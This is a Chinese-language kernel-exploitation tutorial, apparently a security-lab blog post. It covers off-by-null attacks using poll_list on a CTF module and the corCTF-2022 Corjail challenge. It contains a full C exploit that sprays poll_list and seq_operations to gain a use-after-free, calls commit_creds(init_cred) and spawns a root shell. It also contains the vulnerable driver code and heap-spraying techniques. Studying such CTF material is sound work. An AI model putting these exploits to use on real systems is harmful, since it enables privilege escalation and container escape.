Linux kernel 堆溢位利用方法(二)

蚁景网安实验室發表於2024-11-11

前言

本文我們透過我們的老朋友heap_bof來講解Linux kerneloff-by-null的利用手法。在透過講解另一道相對來說比較困難的kernel off-by-null + docker escape來深入瞭解這種漏洞的利用手法。(沒了解過docker逃逸的朋友也可以看懂,畢竟有了root許可權後,docker逃逸就變的相對簡單了)。

off by null

我們還是使用上一篇的例題heap_bof來講解這種利用手法,現在我們假設這道題沒有提供free,並且只有單位元組溢位,並且溢位的單位元組只能是NULL,那麼我們應該怎麼去利用呢?

利用思路

boot.sh

#!/bin/bash
​
qemu-system-x86_64 \
  -initrd rootfs.img \
  -kernel bzImage \
  -m 1G \
  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
  -monitor /dev/null \
  -s \
  -cpu kvm64 \
  -smp cores=1,threads=2 \
  --nographic
​

poll系統呼叫

/*
*   @fds: pollfd型別的一個陣列
*   @nfds: 前面的引數fds中條目的個數
*   @timeout: 事件發生的毫秒數
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 結構體物件是在呼叫 poll() 時分配,該呼叫可以監視 1 個或多個檔案描述符的活動。

struct pollfd {
    int fd;
    short events;
    short revents;
};
​
struct poll_list {
    struct poll_list *next; // 指向下一個poll_list
    int len; // 對應於條目陣列中pollfd結構的數量
    struct pollfd entries[]; // 儲存pollfd結構的陣列
};

poll_list 結構如下圖所示,前 30poll_fd 在棧上,後面的都在堆上,最多 510poll_fd 在一個堆上的 poll_list 上,堆上的 poll_list 最大為 0x1000

Linux kernel 堆溢位利用方法(二)

poll_list 分配/釋放

do_sys_poll 函式完成 poll_list 的分配和釋放。poll_list 的是超時自動釋放的,我們可以指定 poll_list 的釋放時間。

#define POLL_STACK_ALLOC    256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大數量)
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd)) 
//(256-16)/8 = 30 (棧上存放pollfd最大數量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))
​
[...]
​
static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
        struct timespec64 *end_time)
{
​
    struct poll_wqueues table;
    int err = -EFAULT, fdcount, len;
    /* Allocate small arguments on the stack to save memory and be
       faster - use long to make sure the buffer is aligned properly
       on 64 bit archs to avoid unaligned access */
                
    /*
    *  [1] stack_pps 256 位元組的棧緩衝區, 負責儲存前 30 個 pollfd entry
    */
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)]; 
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
    unsigned long todo = nfds;
​
    if (nfds > rlimit(RLIMIT_NOFILE))
        return -EINVAL;
    /*
    *  [2] 前30個 pollfd entry 先存放在棧上,節省記憶體和時間
    */
    len = min_t(unsigned int, nfds, N_STACK_PPS);
​
    for (;;) {
        walk->next = NULL;
        walk->len = len;
        if (!len)
            break;
​
        if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
            goto out_fds;
​
        todo -= walk->len;
        if (!todo)
            break;
        /*
        *   [3] 如果提交超過30個 pollfd entries,就會把多出來的 pollfd 放在核心堆上。
        *   每個page 最多存 POLLFD_PER_PAGE (510) 個entry, 
        *   超過這個數,則分配新的 poll_list, 依次迴圈直到存下所有傳入的 entry
        */
        len = min(todo, POLLFD_PER_PAGE);
        /*
        *   [4] 只要控制好被監控的檔案描述符數量,就能控制分配size,從 kmalloc-32 到 kmalloc-4k
        */
        walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);           
        if (!walk) {
            err = -ENOMEM;
            goto out_fds;
        }
    }
​
    poll_initwait(&table);
    /*
    *   [5] 分配完 poll_list 物件後,呼叫 do_poll() 來監控這些檔案描述符,直到發生特定 event 或者超時。
    *   這裡 end_time 就是最初傳給 poll() 的超時變數, 這表示 poll_list 物件可以在記憶體中儲存任意時長,超時後自動釋放。
    */
    fdcount = do_poll(head, &table, end_time);  
    poll_freewait(&table);
​
    if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
        goto out_fds;
​
    for (walk = head; walk; walk = walk->next) {
        struct pollfd *fds = walk->entries;
        int j;
​
        for (j = walk->len; j; fds++, ufds++, j--)
            unsafe_put_user(fds->revents, &ufds->revents, Efault);
    }
    user_write_access_end();
​
    err = fdcount;
out_fds:
    walk = head->next;
    while (walk) {      // [6] 釋放 poll_list: 遍歷單連結串列, 釋放每一個 poll_list, 這裡可以利用
        struct poll_list *pos = walk;
        walk = walk->next;
        kfree(pos);
    }
​
    return err;
​
Efault:
    user_write_access_end();
    err = -EFAULT;
    goto out_fds;
}

我們可以去找到一些結構體,其頭 8 位元組是一個指標,然後利用 off by null 去損壞該指標,比如使得 0xXXXXa0 變成 0xXXXX00,然後就可以考慮利用堆噴去構造 UAF 了。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

詳細流程

  1. 首先分配 kmalloc-4096 大小的結構題在ptr[0]

  2. 然後構造這樣的poll_list結構體。

    Linux kernel 堆溢位利用方法(二)

  3. 利用off-by-nullpoll_list->next的最後一個位元組改為空。然後大量分配kmalloc-32obj記憶體,這裡只所以是 32 位元組大小是因為要與後面的 seq_operations 配合,並且 32 大小的 object 其低位元組是可能為 \x00 的,其低位元組為 0x200x400x800xa00xc00xe00x00。運氣好可以被我們篡改後的poll_list->next指到。但對於這道題來說我們沒有足夠的堆塊用於堆噴,所以成功率是極低的。

    Linux kernel 堆溢位利用方法(二)

  4. 等待poll_list執行緒執行完畢,並且我們分配的kmalloc-32被錯誤釋放,分配大量的seq_operations,運氣好可以正好被分配到我們釋放的kmalloc-32,形成UAF,這樣我們就可以利用UAF修改seq_operations->start指標指向提權程式碼。

  5. 提權可以參考上一篇文章,利用棧上的殘留值來bypass kaslr

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
​
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>
​
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
​
#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199
​
char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];
​
#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000
​
struct param {
    size_t len;        // 內容長度
    char *buf;         // 使用者態緩衝區地址
    unsigned long idx; // 表示 ptr 陣列的 索引
};
​
size_t user_cs, user_rflags, user_sp, user_ss;
​
void save_status() {
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;");
    puts("[*] status has been saved.");
}
​
void get_shell(void) {
    system("/bin/sh");
}
​
void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}
​
/*--------------------------------------------------------------------------------------------------*/
​
struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
​
#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;
​
struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short datalen;    /* length of this data */
    char data[0] __aligned(__alignof__(u64)); /* actual data */
};
​
int key_alloc(int id, void *payload, int payload_len) {
    char description[0x10] = {};
    sprintf(description, "pwn_%d", id);
    return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}
​
int key_update(int id, void *payload, size_t plen) {
    return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}
​
int key_read(int id, void *bufer, size_t buflen) {
    return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}
​
int key_revoke(int id) {
    return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}
​
int key_unlink(int id) {
    return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}
​
/*--------------------------------------------------------------------------------------------------*/
​
pthread_t tid[40];
​
typedef struct {
    int nfds, timer;
} poll_args;
​
struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};
​
void* alloc_poll_list(void *args) {
    int nfds = ((poll_args *) args)->nfds;
    int timer = ((poll_args *) args)->timer;
​
    struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = open("/etc/passwd", O_RDONLY);
        pfds[i].events = POLLERR;
    }
    poll(pfds, nfds, timer);
}
​
void* create_poll_list(size_t size, int timer, int i) {
    poll_args *args = calloc(1, sizeof(poll_args));
    args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
    args->timer = timer;
​
    pthread_create(&tid[i], NULL, alloc_poll_list, args);
}
​
/*--------------------------------------------------------------------------------------------------*/
​
struct list_head {
    struct list_head *next, *prev;
};
struct tty_file_private {
    struct tty_struct *tty;
    struct file *file;
    struct list_head list;
};
​
struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
​
struct pipe_bufer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};
​
struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
    void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
    int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};
​
/*--------------------------------------------------------------------------------------------------*/
​
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;
​
size_t kernel_offset;
void get_root() {
    __asm__(
        "mov rax, [rsp + 8];"
        "mov kernel_offset, rax;"
    );
    kernel_offset -= 0xffffffff81229378;
    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
    init_cred = (void *) ((size_t) init_cred + kernel_offset);
    commit_creds(init_cred);
    __asm__(
        "swapgs;"
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push user_rip;"
        "iretq;"
    );
}
​
/*--------------------------------------------------------------------------------------------------*/
​
int main() {
    save_status();
    signal(SIGSEGV, (void *) get_shell);
    bof_fd = open("dev/bof", O_RDWR);
    int seq_fd[SEQ_NUM];
​
    printf("[*] try to alloc_kmalloc-4096\n");
    size_t* mem = malloc(0x1010);
    memset(mem, '\xff', 0x1010);
    struct param p = {0x1000, (char*)mem, 0};
    ioctl(bof_fd, BOF_MALLOC, &p);
​
    printf("[*] try to spary kmalloc-32\n");
    p.len = 0x20;
    for (int i = 1; i < 20; ++i)
    {
        p.idx = i;
        memset(mem, i, 0x20);
        memset(mem, 0, 0x18);
        ioctl(bof_fd, BOF_MALLOC, &p);
        ioctl(bof_fd, BOF_EDIT, &p);
    }
​
    printf("[*] try to alloc_poll_list\n");
    for (int i = 0; i < 14; ++i)
    {
        create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
    }
​
    printf("[*] try to spary kmalloc-32\n");
    p.len = 0x20;
    for (int i = 20; i < 40; ++i)
    {
        p.idx = i;
        memset(mem, i, 0x20);
        memset(mem, 0, 0x18);
        ioctl(bof_fd, BOF_MALLOC, &p);
        ioctl(bof_fd, BOF_EDIT, &p);
    }
​
    sleep(1);
//    除錯用程式碼
//    p.len = 0x1010;
//    p.idx = 0;
//    ioctl(bof_fd, BOF_READ, &p);
​
//    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);
​
    p.len = 0x1001;
    p.idx = 0;
    memset(mem, '\x00', 0x1001);
    ioctl(bof_fd, BOF_EDIT, &p);
​
    void *res;
    for (int i = 0; i < 14; ++i)
    {
        printf("[*] wating for poll end\n");
        pthread_join(tid[i], &res);
    }
​
    for (int i = 0; i < 256; ++i)
    {
        seq_fd[i] = open("/proc/self/stat", O_RDONLY);
    }
​
    sleep(1);
​
    for (int i = 1; i < 40; ++i)
    {
        p.idx = i;
        p.len = 0x20;
​
        ioctl(bof_fd, BOF_READ, &p);
        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
​
        mem[0] = (size_t*)get_root;
        mem[1] = (size_t*)get_root;
        mem[2] = (size_t*)get_root;
        mem[3] = (size_t*)get_root;
        ioctl(bof_fd, BOF_EDIT, &p);
    }
​
    for (int i = 1; i < 40; ++i)
    {
        p.idx = i;
        p.len = 0x20;
​
        ioctl(bof_fd, BOF_READ, &p);
        printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
        printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
        printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
        printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);
    }
​
​
​
    for (int i = 0; i < 256; i++) {
        read(seq_fd[i], p.buf, 1);
    }
​
    return 0;
}

corCTF-2022:Corjail

題目分析

我們可以使用 Guestfish 工具讀取和修改 qcow2 檔案。

run_challenge.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 1G \
    -nographic \
    -no-reboot \
    -kernel bzImage \
    -append "console=ttyS0 root=/dev/sda quiet loglevel=3 rd.systemd.show_status=auto rd.udev.log_level=3 oops=panic panic=-1 net.ifnames=0 pti=on" \
    -hda coros.qcow2 \
    -snapshot \
    -monitor /dev/null \
    -cpu qemu64,+smep,+smap,+rdrand \
    -smp cores=4 \
    --enable-kvm

init指令碼

檢視服務程序/etc/systemd/system/init.service

Description=Initialize challenge
​
[Service]
Type=oneshot
ExecStart=/usr/local/bin/init
​
[Install]
WantedBy=multi-user.target

檢視 /usr/local/bin/init 指令碼;

 cat /usr/local/bin/init
#!/bin/bash
​
USER=user
​
FLAG=$(head -n 100 /dev/urandom | sha512sum | awk '{printf $1}')
​
useradd --create-home --shell /bin/bash $USER
​
echo "export PS1='\[\033[01;31m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]# '"  >> /root/.bashrc
echo "export PS1='\[\033[01;35m\]\u@CoROS\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '" >> /home/$USER/.bashrc
​
chmod -r 0700 /home/$USER
​
mv /root/temp /root/$FLAG
chmod 0400 /root/$FLAG

password

❯ guestfish --rw -a coros.qcow2
><fs> run
><fs> list-filesystems
/dev/sda: ext4
><fs> mount /dev/sda /
><fs> cat /etc/password
libguestfs: error: download: /etc/password: No such file or directory
><fs> cat /etc/passwd
root:x:0:0:root:/root:/usr/local/bin/jail
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
......

root_shell

檢視root使用者的/usr/local/bin/jail;

><fs> cat /usr/local/bin/jail
#!/bin/bash
​
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
​
/usr/bin/docker run -it --user user \
    --hostname CoRJail \
    --security-opt seccomp=/etc/docker/corjail.json \
    -v /proc/cormon:/proc_rw/cormon:rw corcontainer
​
/bin/bash
​
/usr/sbin/poweroff -f

發現其啟動rootshell 後是首先呼叫 docker來構建了一個容器然後關閉自身,在那之後我們起的虛擬環境就是處於該docker容器當中。

為了方便除錯,我們可以使用edit將其修改為:

><fs> edit /usr/local/bin/jail 
><fs> cat /usr/local/bin/jail
#!/bin/bash
​
echo -e '[\033[5m\e[1;33m!\e[0m] Spawning a shell in a CoRJail...'
​
cp /exploit /home/user || echo "[!] exploit not found, skipping"
​
chown -R user:user /home/user
​
echo 0 > /proc/sys/kernel/kptr_restrict
​
/usr/bin/docker run -it --user root \
  --hostname CoRJail \
  --security-opt seccomp=/etc/docker/corjail.json \
  # 允許容器能夠呼叫與日誌相關的系統呼叫
  --cap-add CAP_SYSLOG \
  # 將宿主機的 /proc/cormon 目錄掛載到容器內的 /proc_rw/cormon,並且以讀寫模式掛載。
  -v /proc/cormon:/proc_rw/cormon:rw \
  # 將宿主機的 /home/user/ 目錄掛載到容器內的 /home/user/host
  -v /home/user/:/home/user/host \
  corcontainer
​
/bin/bash
​
/usr/sbin/poweroff -f

edit 的用法和 vim 一樣。

後面我們上傳 exp 的時候可以使用 upload 命令,其格式如下:

><fs> help upload
NAME
    upload - upload a file from the local machine
​
SYNOPSIS
     upload filename remotefilename
​
DESCRIPTION
    Upload local file filename to remotefilename on the filesystem.
​
    filename can also be a named pipe.
​
    See also "download".

kernel_patch

diff -ruN a/arch/x86/entry/syscall_64.c b/arch/x86/entry/syscall_64.c
--- a/arch/x86/entry/syscall_64.c   2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/entry/syscall_64.c   2022-07-02 12:34:11.237778657 +0200
@@ -17,6 +17,9 @@
 
 #define __SYSCALL_64(nr, sym) [nr] = __x64_##sym,
 
+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);
+EXPORT_PER_CPU_SYMBOL(__per_cpu_syscall_count);
+
 asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1] = {
    /*
     * Smells like a compiler bug -- it doesn't work
diff -ruN a/arch/x86/include/asm/syscall_wrapper.h b/arch/x86/include/asm/syscall_wrapper.h
--- a/arch/x86/include/asm/syscall_wrapper.h    2022-06-29 08:59:54.000000000 +0200
+++ b/arch/x86/include/asm/syscall_wrapper.h    2022-07-02 12:34:11.237778657 +0200
@@ -245,7 +245,7 @@
  * SYSCALL_DEFINEx() -- which is essential for the COND_SYSCALL() and SYS_NI()
  * macros to work correctly.
  */
-#define SYSCALL_DEFINE0(sname)                     \
+#define __SYSCALL_DEFINE0(sname)                       \
    SYSCALL_METADATA(_##sname, 0);                  \
    static long __do_sys_##sname(const struct pt_regs *__unused);   \
    __X64_SYS_STUB0(sname)                      \
diff -ruN a/include/linux/syscalls.h b/include/linux/syscalls.h
--- a/include/linux/syscalls.h  2022-06-29 08:59:54.000000000 +0200
+++ b/include/linux/syscalls.h  2022-07-02 12:34:11.237778657 +0200
@@ -82,6 +82,7 @@
 #include <linux/key.h>
 #include <linux/personality.h>
 #include <trace/syscall.h>
+#include <asm/syscall.h>
 
 #ifdef CONFIG_ARCH_HAS_SYSCALL_WRAPPER
 /*
@@ -202,8 +203,8 @@
 }
 #endif
 
-#ifndef SYSCALL_DEFINE0
-#define SYSCALL_DEFINE0(sname)                 \
+#ifndef __SYSCALL_DEFINE0
+#define __SYSCALL_DEFINE0(sname)                   \
    SYSCALL_METADATA(_##sname, 0);              \
    asmlinkage long sys_##sname(void);          \
    ALLOW_ERROR_INJECTION(sys_##sname, ERRNO);      \
@@ -219,9 +220,41 @@
 
 #define SYSCALL_DEFINE_MAXARGS 6
 
-#define SYSCALL_DEFINEx(x, sname, ...)             \
-   SYSCALL_METADATA(sname, x, __VA_ARGS__)         \
-   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)
+DECLARE_PER_CPU(u64[], __per_cpu_syscall_count);
+
+#define SYSCALL_COUNT_DECLAREx(sname, x, ...) \
+   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__));
+
+#define __SYSCALL_COUNT(syscall_nr) \
+   this_cpu_inc(__per_cpu_syscall_count[(syscall_nr)])
+
+#define SYSCALL_COUNT_FUNCx(sname, x, ...)                 \
+   {                                   \
+       __SYSCALL_COUNT(__syscall_meta_##sname.syscall_nr);     \
+       return __count_sys##sname(__MAP(x, __SC_CAST, __VA_ARGS__));    \
+   }                                   \
+   static inline long __count_sys##sname(__MAP(x, __SC_DECL, __VA_ARGS__))
+
+#define SYSCALL_COUNT_DECLARE0(sname) \
+   static inline long __count_sys_##sname(void);
+
+#define SYSCALL_COUNT_FUNC0(sname)                 \
+   {                               \
+       __SYSCALL_COUNT(__syscall_meta__##sname.syscall_nr);    \
+       return __count_sys_##sname();               \
+   }                               \
+   static inline long __count_sys_##sname(void)
+
+#define SYSCALL_DEFINEx(x, sname, ...)         \
+   SYSCALL_METADATA(sname, x, __VA_ARGS__)     \
+   SYSCALL_COUNT_DECLAREx(sname, x, __VA_ARGS__)   \
+   __SYSCALL_DEFINEx(x, sname, __VA_ARGS__)    \
+   SYSCALL_COUNT_FUNCx(sname, x, __VA_ARGS__)
+
+#define SYSCALL_DEFINE0(sname)     \
+   SYSCALL_COUNT_DECLARE0(sname)   \
+   __SYSCALL_DEFINE0(sname)    \
+   SYSCALL_COUNT_FUNC0(sname)
 
 #define __PROTECT(...) asmlinkage_protect(__VA_ARGS__)
 
diff -ruN a/kernel/trace/trace_syscalls.c b/kernel/trace/trace_syscalls.c
--- a/kernel/trace/trace_syscalls.c 2022-06-29 08:59:54.000000000 +0200
+++ b/kernel/trace/trace_syscalls.c 2022-07-02 12:34:32.902426748 +0200
@@ -101,7 +101,7 @@
    return NULL;
 }
 
-static struct syscall_metadata *syscall_nr_to_meta(int nr)
+struct syscall_metadata *syscall_nr_to_meta(int nr)
 {
    if (IS_ENABLED(CONFIG_HAVE_SPARSE_SYSCALL_NR))
        return xa_load(&syscalls_metadata_sparse, (unsigned long)nr);
@@ -111,6 +111,7 @@
 
    return syscalls_metadata[nr];
 }
+EXPORT_SYMBOL(syscall_nr_to_meta);
 
 const char *get_syscall_name(int syscall)
 {
@@ -122,6 +123,7 @@
 
    return entry->name;
 }
+EXPORT_SYMBOL(get_syscall_name);
 
 static enum print_line_t
 print_syscall_enter(struct trace_iterator *iter, int flags,
​

其中

+DEFINE_PER_CPU(u64 [NR_syscalls], __per_cpu_syscall_count);

為每個CPU都建立一個 __per_cpu_syscall_count變數用來記錄系統呼叫的次數。


seccomp.json 儲存了系統呼叫的白名單。

{
    "defaultAction": "SCMP_ACT_ERRNO",
    "defaultErrnoRet": 1,
    "syscalls": [
        {
            "names": [ "_llseek", "_newselect", "accept", "accept4", "access", ... ],
            "action": "SCMP_ACT_ALLOW"
        },
        {
            "names": [ "clone" ],
            "action": "SCMP_ACT_ALLOW",
            "args": [ { "index": 0, "value": 2114060288, "op": "SCMP_CMP_MASKED_EQ" } ]
        }
    ]
}

根據README.md提示,可以在proc_rw/cormon看到使用到的系統呼叫在各個CPU當中的情況。

root@CoRJail:/# cat /proc_rw/cormon 
​
      CPU0      CPU1      CPU2      CPU3    Syscall (NR)
​
         9        16        25        18    sys_poll (7)
         0         0         0         0    sys_fork (57)
        66        64        79        60    sys_execve (59)
         0         0         0         0    sys_msgget (68)
         0         0         0         0    sys_msgsnd (69)
         0         0         0         0    sys_msgrcv (70)
         0         0         0         0    sys_ptrace (101)
        15        19        11         6    sys_setxattr (188)
        27        24        11        20    sys_keyctl (250)
         0         0         2         2    sys_unshare (272)
         0         1         0         0    sys_execveat (322)

也可以指定系統呼叫。

root@CoRJail:/# echo -n 'sys_msgsnd,sys_msgrcv' > /proc_rw/cormon 
root@CoRJail:/# cat /proc_rw/cormon 
​
      CPU0      CPU1      CPU2      CPU3    Syscall (NR)
​
         0         0         0         0    sys_msgsnd (69)
         0         0         0         0    sys_msgrcv (70)

src.c

可以看到 write 存在明顯的off-by-null

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;
​
    if (offset < 0)
        return -EINVAL;
​
    if (offset >= PAGE_SIZE || !count)
        return 0;
​
    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;
​
    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);
​
    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }
​
    if (copy_from_user(syscalls, ubuf, len))
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }
​
    syscalls[len] = '\x00';
​
    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }
​
    kfree(syscalls);
​
    return count;
}

利用思路

poll_list 利用方式中:

  • 先透過 add_key() 堆噴大量 32 位元組大小的 user_key_payload

這裡只所以是 32 位元組大小是因為要與後面的 seq_operations 配合,並且 32 大小的 object 其低位元組是可能為 \x00 的,其低位元組為 0x200x400x800xa00xc00xe00x00

  • 然後建立 poll_list 鏈,其中 poll_list.next 指向的是一個 0x20 大小的 object

  • 觸發 off by null,修改 poll_list.next 的低位元組為 \x00,這裡可能導致其指向某個 user_key_payload

  • 然後等待 timeout 後, 就會導致某個 user_key_payload 被釋放,導致 UAF

詳細流程如下:

首先,我們要開啟有漏洞的模組。使用bind_core()將當前程序繫結到CPU0,因為我們是在一個多核環境中工作,而slab是按CPU分配的。

void bind_core(bool fixed, bool thread) {
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(fixed ? 0 : randint(1, get_nprocs()), &cpu_set);
    if (thread) {
        pthread_setaffinity_np(pthread_self(), sizeof(cpu_set), &cpu_set);
    } else {
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    }
}

噴射大量 0x20 大小的 user_key_payload 和下圖所示 0x1000 + 0x20poll_list

Linux kernel 堆溢位利用方法(二)

此時記憶體中 object 的分佈如下圖所示,其中黃色的是 user_key_payload ,綠色的是 poll_list ,白色是空閒 object

Linux kernel 堆溢位利用方法(二)

透過 off by null 修改 0x1000 大小的 poll_list ,使得指向 0x20 大小 poll_listnext 指標指向 user_key_payload 。之後釋放所有的 poll_list 結構,被 next 指向的的 user_key_payload 也被釋放,形成 UAF 。

注意,為了確保釋放 poll_list 不出錯,要保證 0x20 大小的 poll_listnext 指標為 NULL 。也就是 user_key_payload 的前 8 位元組為 NULL 。由於 user_key_payload 的前 8 位元組沒有初始化,因此可以在申請 user_key_payload 前先用 setxattr 把前 8 位元組置為 NULL 。

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    int error;
    void *kvalue = NULL;
    char kname[XATTR_NAME_MAX + 1];
    [...]
    if (size) {
        [...]
        kvalue = kvmalloc(size, GFP_KERNEL); // 申請kmalloc-x
        if (!kvalue)
            return -ENOMEM;
        // 修改kmalloc-x內容
        if (copy_from_user(kvalue, value, size)) {
            error = -EFAULT;
            goto out;
        }
        [...]
    }
​
    error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
    kvfree(kvalue); // 釋放kmalloc-x
​
    return error;
}

另外實測 kmalloc-32freelist 偏移為 16 位元組,不會覆蓋 next 指標。

Linux kernel 堆溢位利用方法(二)

噴射 seq_operations 利用 seq_operations->next 的低二位元組覆蓋 user_key_payload->datalen 實現 user_key_payload 越界讀, user_key_payload->data 前 8 位元組被覆蓋為 seq_operations->show ,可以洩露核心基址。另外可以根據是否越界讀判斷該 user_key_payload 是否被 seq_operations 覆蓋。

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};
​
struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short  datalen;    /* length of this data */
    char        data[0] __aligned(__alignof__(u64)); /* actual data */
};
​
struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

之後釋放不能越界讀的 user_key_payload 並噴射 tty_file_private 填充產生的空閒 object 。之後再次越界讀洩露 tty_file_private->tty 指向的 tty_struct ,我們定義這個地址為 target_object

Linux kernel 堆溢位利用方法(二)

